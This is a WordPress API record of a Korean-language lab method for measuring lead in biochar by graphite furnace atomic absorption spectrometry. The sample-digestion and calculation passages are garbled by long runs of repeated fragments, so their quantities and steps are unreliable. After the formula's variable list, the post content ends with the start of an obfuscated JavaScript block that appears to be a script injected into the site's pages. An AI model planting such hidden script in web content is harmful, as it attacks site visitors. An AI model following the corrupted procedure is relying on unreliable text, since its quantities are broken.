{"id":3677,"date":"2025-06-25T14:20:32","date_gmt":"2025-06-25T06:20:32","guid":{"rendered":"https:\/\/www.pgeneral.com\/?p=3677"},"modified":"2025-06-25T14:20:32","modified_gmt":"2025-06-25T06:20:32","slug":"determination-of-lead-in-biochar-graphite-furnace-atomic-absorption-spectrometry","status":"publish","type":"post","link":"https:\/\/www.pgeneral.com\/ko\/%ec%9d%91%ec%9a%a9-%ed%94%84%eb%a1%9c%ea%b7%b8%eb%9e%a8\/determination-of-lead-in-biochar-graphite-furnace-atomic-absorption-spectrometry\/","title":{"rendered":"\ubc14\uc774\uc624\ubc14\ud0c4\uc5d0 \uc788\ub294 \uc5f0\ub3c4\uc758 \uacb0\uc815(Graphite Furnace Atomic Absorption Spectrometry)"},"content":{"rendered":"<ol>\n<li>\ubc29\ubc95 \uac1c\uc694<\/li>\n<\/ol>\n<p>\uc0d8\ud50c \ucc98\ub9ac \ud6c4, \uadf8\uac83\uc740 \uc6d0\uc790 \ud761\uc218 \ubd84\uad11\uacc4\uc5d0 \ub3c4\uc785\ub418\uace0, \uc6d0\uc790\ud654\ub418\uace0, \ud761\uc218 \uce21\uc815\ub429\ub2c8\ub2e4.\ud2b9\uc815 \ub18d\ub3c4 \ubc94\uc704 \ub0b4\uc5d0\uc11c \ud761\uc218 \uac12\uc740 \ub0a9 \ud568\ub7c9\uc5d0 \ube44\ub840\ud558\uba70, \uc815\ub7c9\uc801 \ubd84\uc11d\uc740 \ud45c\uc900 \uc2dc\ub9ac\uc988\uc640 \ube44\uad50\ud558\uc5ec \uc218\ud589\ub429\ub2c8\ub2e4.<\/p>\n<ol start=\"2\">\n<li>2. \uae30\uae30 \ubc0f \uc2dc\uc57d<\/li>\n<\/ol>\n<p>2.1 \uae30\uae30 \ubc0f \uc7a5\ube44<\/p>\n<p>2.1.1 \uc2dc\ud5d8 \uae30\uae30<\/p>\n<p>\uadf8\ub798\ud30c\uc774\ud2b8 \ub85c\ube0c \uc6d0\uc790 \ud761\uc218 \ubd84\uad11\uad11\uacc4\uae30 (\ub9ac\ub4dc \ube48 \u9634\uadf9 \ub7a8\ud504\ub97c \uac00\uc9c4)<\/p>\n<p>\ub0c9\uac01 \uc21c\ud658 \ubb3c \uc2dc\uc2a4\ud15c (\ud38c\ud504 \uc815\uaca9 \ud750\ub984: 3.5 L\/min)<\/p>\n<p>\uc544\ub974\uace4 \uac00\uc2a4 (Purity\u226599.99%)<\/p>\n<p>2.1.2 \uc0ac\uc804 \ucc98\ub9ac \uc7a5\ube44<\/p>\n<p>\uc804\uc790 \uade0\ud615 (\uac10\ub3c4: 0.1 mg)<\/p>\n<p>\uc6d0\ud615 \ud50c\ub77c\uc2a4\ud06c (50 mL)<\/p>\n<p>\uc720\ub9ac \uc2dc\uacc4 \uc720\ub9ac (70 mm)<\/p>\n<p>\uc720\ub9ac \ud30c\ub110 (75 mm)<\/p>\n<p>\ub290\ub9b0 \uc591\uc801 \ud544\ud130 \uc885\uc774 (9 cm)<\/p>\n<p>\uc870\uc815\uac00\ub2a5\ud55c \uc804\uae30 \ub728\uac70\uc6b4 \ud310 (\uc815\uaca9 \uc628\ub3c4: \uac1d\uc2e4 \uc628\ub3c4~300\u2103<\/p>\n<p>Micropipett (20\u03bcL ~ 200\u03bcL, 100\u03bcL ~ 1000\u03bcL, 1000\u03bcL ~ 5000\u03bcL)<\/p>\n<p>\ubcfc\ub968 \ud50c\ub77c\uc2a4\ud06c (100 mL, 1000 mL)<\/p>\n<p>Colorimetric \uad00<\/p>\n<p>2.2 \uc2dc\uc57d<\/p>\n<p>2.2.1 \uc2dc\uc57d<\/p>\n<p>\uc9c8\uc18c\uc0b0 (MOS \ub4f1\uae09)<\/p>\n<p>\uc5fc\uc0b0 (\ucd08\uc21c\uc218\uae09)<\/p>\n<ol start=\"3\">\n<li>\uc6b4\uc601 \uc808\ucc28<\/li>\n<\/ol>\n<p>3.1 \ud45c\ubcf8 \uc900\ube44<\/p>\n<p>3.1.1 \ud14c\uc2a4\ud2b8 \uc194\ub8e8\uc158 \uc900\ube44<\/p>\n<p>1) \ud45c\ubcf8 \uc0ac\uc804 \ucc98\ub9ac<\/p>\n<p>\uc0d8\ud50c\uc758 0.25g\ub97c 50 mL\uc758 \uc6d050 50 m50 mL\uc758 \uc6d050 50 50 mL\uc758 \uc6d0\ud615 \ud50c\ub798\uc2a4\ud06c\uc5d0 \ubb34\uac8c\ub97c 50 50 50 50 mL\uc758 \uc6d050 50 50 mL50 mL\uc758 \uc6d0\ud615 \ud50c\ub798\uc2a4\ud06c\uc5d0 \ubb34\uac8c\ub97c \ub123\uace0, 2 mL\uc758 \ubb3c\ub85c \uc2b5\ud654\ud558\uace0 4.5 mL\uc758 \uc5fc\uc0b0 4.5 mL\uacfc 1.5 m\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ub798\uc2a4\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ub798\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\ud50c\ud50c\ub798\uc2a4\ud06c\ub97c \ud50c\uc2e4\uc628\uae4c\uc9c0 \ub0c9\uac01\ud558\uc2ed\uc2dc\uc624.\ub290\ub9b0 \uc591 \ud544\ud130 \uc885\uc774\ub97c \uc720\ub9ac \uc720\uc720\ub9ac \uc720\uc720\ub9ac \uc720\uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\ub9ac \uc720\ub9ac \uc720\uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\uc720\uc720\ub9ac \uc720\uc720\uc720\uc720\ub9ac \uc720\ub9ac \uc720\ub9ac \uc720\ub9ac\uc5d0 \ub290\ub9b0 \uc815\ub7c9 \uc815\ub7c9 \ud544\ud130 \uc885\uc774\uc18c\ud654 \uc6a9\uc561\uc744 \uc5ec\uacfc\ud558\uae30 \uc704\ud574 \ud544\ud130 \uc885\uc774\ub85c \uc804\uc1a1\ud558\uc2ed\uc2dc\uc624.\uc18c\ub7c9\uc758 \uc9c8\uc18c\uc0b0 \uc6a9\uc561 (1 99)\uc73c\ub85c \uc6d0\ud615 \ud50c\ub798\uc2a4\ud06c\ub97c 2 ~ 3 \ubc88 \uc138\uc6b0\uace0, \uc138\ud0c1\ubb3c\uc744 \ud544\ud130 \uc885\uc774\ub85c \uc774\ub3d9\ud558\uace0, \ud544\ud130 \ubc0f \ubb3c\ub85c 25mL \uc0c9\uc0c1 \uce21\uc815 \ud29c\ube0c\ub85c \ud76c\uc11d\ud558\uace0 \uc798 \ud63c\ud569\ud569\ub2c8\ub2e4.\uc0d8\ud50c \uc606\uc5d0 \ube48 \ud14c\uc2a4\ud2b8\ub97c \uc218\ud589\ud569\ub2c8\ub2e4.<\/p>\n<p>2) \ub9ac\ub4dc \uc694\uc18c \uc2dc\ud5d8 \uc194\ub8e8\uc158\uc758 \uc900\ube44<\/p>\n<p>\uc0d8\ud50c \uc194\ub8e8\uc158\uc758 1.0 mL\uc744 10 mL \uc0c9\uc0c1 \uce21\uc815 \ud29c\ube0c\uc5d0 \uc815\ud655\ud558\uac8c \uc804\uc1a1\ud558\uace0 \uc9c8\uc18c\uc0b0 \uc194\ub8e8\uc158 (1 99)\uc73c\ub85c \ud45c\uc2dc\uae4c\uc9c0 \ud76c\uc11d\ud558\uace0 \uc798 \ud45c\ud45c\ud45c\uc2dc\ud558\uc2ed\uc2dc\uc624.\ud55c\ud3b8, \ube48 \ud14c\uc2a4\ud2b8\ub97c \uc218\ud589\ud558\uc2ed\uc2dc\uc624: \ube48 \ud14c\uc2a4\ud2b8 \uc6a9\uc561\uc740 \uc0d8\ud50c\uc744 \uc81c\uc678\ud558\uace0 \ud14c\uc2a4\ud2b8 \uc6a9\uc561\uacfc \ub3d9\uc77c\ud55c \uc720\ud615\uacfc \uc591\uc758 \uc2dc\uc57d\uc744 \ud3ec\ud568\ud574\uc57c\ud569\ub2c8\ub2e4.<\/p>\n<p>3.1.2 \ud45c\uc900 \uc194\ub8e8\uc158 \uc900\ube44<\/p>\n<p>1)\ub9ac\ub4dc \ud45c\uc900 \uc911\uac04 \uc194\ub8e8\uc158\uc758 \uc900\ube44<\/p>\n<p>\uc5f0 \ud45c\uc900 \uc911\uac04 \uc194\ub8e8\uc158 (1.0\u03bcg\/mL): \uc815\ud655\ud558\uac8c \uc5f0 \ud45c\uc900 \uc194\ub8e8\uc158 (1000\u03bcg\/mL) 0.100 mL \ub300\ub7c9 \ud50c\ub798\uc2a4\ud06c\uc5d0 \uc804\uc1a1\ud558\uace0, \uc9c8\uc18c\uc0b0 1 mL\uc744 \ucd94\uac00\ud558\uace0, \ube44\uc774\uc628\ud654 \ub41c \ubb3c\ub85c \ud45c\uc2dc\uc5d0 \ud76c\uc11d\ud558\uace0 \uc798 \ud63c\ud569\ud569\ub2c8\ub2e4.<\/p>\n<p>2)\ub9ac\ub4dc \ud45c\uc900 \uc2dc\ub9ac\uc988\uc758 \uc900\ube44<\/p>\n<p>0 mL, 0.5 mL, 1.0 mL, 2.0 mL \ubc0f 3.0 mL\uc758 \ub9ac\ub4dc \ud45c\uc900 \uc911\uac04 \uc194\ub8e8\uc158 (1.0\u03bcg\/mL)\uc744 100 mL \ub300\ub7c9 \ud50c\ub798\uc2a4\ud06c\ub85c \uc804\uc1a1\ud558\uace0 \uac01\uac01\uc5d0 1 mL\uc758 \uc9c8\uc18c\uc0b0\uc744 \ucd94\uac00\ud558\uace0, \ube44\uc774\uc628\ud654 \ub41c \ubb3c\ub85c \ud45c\uc2dc\uc5d0 \ud76c\uc11d\ud558\uace0 \uc798 \ud63c\ud569\ud569\ub2c8\ub2e4.\uc774 \uc2dc\ub9ac\uc988\uc758 \ub18d\ub3c4\ub294 0 ng\/mL, 5 ng\/mL, 10 ng\/mL, 20 ng\/mL, 30 ng\/mL\uc785\ub2c8\ub2e4.<\/p>\n<p>3.2 \ud45c\ubcf8 \uc2dc\ud5d8 \uc808\ucc28<\/p>\n<p>\ud45c\uc900 \uc194\ub8e8\uc158, \ube48 \ud14c\uc2a4\ud2b8 \uc194\ub8e8\uc158 \ubc0f \ud14c\uc2a4\ud2b8 \uc194\ub8e8\uc158\uc758 \ud761\uc218\ub7c9\uc744 \uc21c\uc11c\uc801\uc73c\ub85c \uce21\uc815\ud569\ub2c8\ub2e4.<\/p>\n<p>\uac01 \ud45c\uc900 \uc194\ub8e8\uc158\uc758 \ud761\uc218\ub7c9\uc5d0\uc11c \uc81c\ub85c \ud45c\uc900 \uc194\ub8e8\uc158\uc758 \ud761\uc218\ub7c9\uc744 \uac01\uac01\ud558\uc2ed\uc2dc\uc624.\uc9c8\ub7c9 \ub18d\ub3c4\ub97c abscissa\ub85c, \ud574\ub2f9\ud558\ub294 \ud761\uc218\ub7c9\uc744 \uc218\uc900\uc73c\ub85c \uac00\uc838\uc11c \uc791\uc5c5 \uace1\uc120\uc744 \uadf8\ub9ac\uc2ed\uc2dc\uc624.\ud14c\uc2a4\ud2b8 \uc194\ub8e8\uc158\uc758 \uce21\uc815 \ub41c \ud761\uc218\ub7c9\uc5d0 \ub530\ub77c, \uc791\uc5c5 \uace1\uc120\uc5d0\uc11c \uc2dc\uc2dc\uc9c0\ub3c4 \uc9c8\ub7c9 \ub18d\ub3c4\ub97c \uc5bb\uc2b5\ub2c8\ub2e4.<\/p>\n<p>3.3 \uacb0\uacfc \uacc4\uc0b0<\/p>\n<p>\uc0d8\ud50c\uc5d0 \uc788\ub294 \uc9c8\ub7c9 \ubd84\uc218 X (mg\/kg)\ub85c \ud45c\ud604\ub418\ub294 \ud45c\ud45c\ubcf8\uc758 \ud45c\ubcf8\ud45c\ubcf8\uc758 \ub0a9 \ud568\ub7c9\uc740 \ub2e4\uc74c\uacfc \uac19\uc740 \uc2dd\uc73c\ub85c \uacc4\uc0b0\ub429\ub2c8\ub2e4.The lead content in the sample, expressed as mass fraction X (in mg\/kg), is calculated by the formula:<\/p>\n<p><img decoding=\"async\" class=\"alignnone  wp-image-3678\" src=\"http:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/\u751f\u7269\u70ad.png\" alt=\"\" width=\"183\" height=\"71\" srcset=\"https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/\u751f\u7269\u70ad.png 281w, https:\/\/www.pgeneral.com\/wp-content\/uploads\/2025\/06\/\u751f\u7269\u70ad-18x7.png 18w\" sizes=\"(max-width: 183px) 100vw, 183px\" \/><\/p>\n<p>\uc5b4\ub514:<\/p>\n<p>c = \uc2dc\ud5d8 \uc6a9\uc561\uc758 \ub0a9 \ud568\ub7c9, ng\/mL;<\/p>\n<p>c0 = \uacf5\uacf5 \uc6a9\uc561\uc758 ng ng\/mL \uc6a9\ub7c9<\/p>\n<p>V = \uc0d8\ud50c \uc18c\ud654 \uc6a9\uc561\uc758 \ucd1d \uc591, mL;<\/p>\n<p>f = \ud76c\uc11d \uc694\uc18c;<\/p>\n<p>m = \ud45c\ubcf8 \uc9c8\ub7c9, g;<\/p>\n<p>1000 = \ubcc0\ud658 \uacc4\uc218.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return 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